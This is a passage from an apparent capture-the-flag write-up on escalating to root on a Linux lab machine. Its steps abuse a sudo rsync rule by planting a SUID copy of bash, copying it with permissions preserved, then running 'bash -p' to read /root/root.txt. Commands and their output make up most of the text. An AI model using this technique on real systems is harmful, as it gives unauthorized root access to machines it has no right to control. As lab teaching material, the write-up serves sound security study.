) expand to all files and directories, but when passed through a tool like rsync
, the tool just runs what you feed it — even if it includes unexpected file types like binaries or symlinks.
So, if we drop a SUID binary, like bash
, into /home/dev/app-production/
, and rsync
copies it with permissions intact... we win.
Copy bash into the app directory:
This creates a SUID-enabled shell. When run by a regular user, it runs with the permissions of the owner — in this case, root.
cp /bin/bash /home/dev/app-production/bash
chmod u+s /home/dev/app-production/bash
Trigger rsync:
Now bash
gets copied to /opt/app/bash
with the SUID bit preserved.
sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* /opt/app/
Run your SUID binary:
The -p
flag tells bash to not drop privileges — and since it’s SUID-root, we are now root.
/opt/app/bash -p
bash-5.2# id
uid=1000(dev) gid=1000(dev) euid=0(root) groups=1000(dev)
bash-5.2# cat /root/root.txt
Last updated
Was this helpful?